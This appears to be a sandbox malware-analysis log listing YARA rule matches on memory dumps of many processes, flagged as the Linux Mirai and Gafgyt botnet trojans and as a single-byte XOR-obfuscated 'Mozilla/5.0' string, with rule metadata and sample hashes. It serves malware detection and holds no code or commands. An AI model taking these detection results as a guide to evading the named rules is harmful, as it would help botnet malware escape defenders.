Source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7039.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7258.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6458.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6317.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7236.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6619.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7019.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6915.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7197.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6936.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7119.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6843.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6320.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6813.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6723.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6459.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6604.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
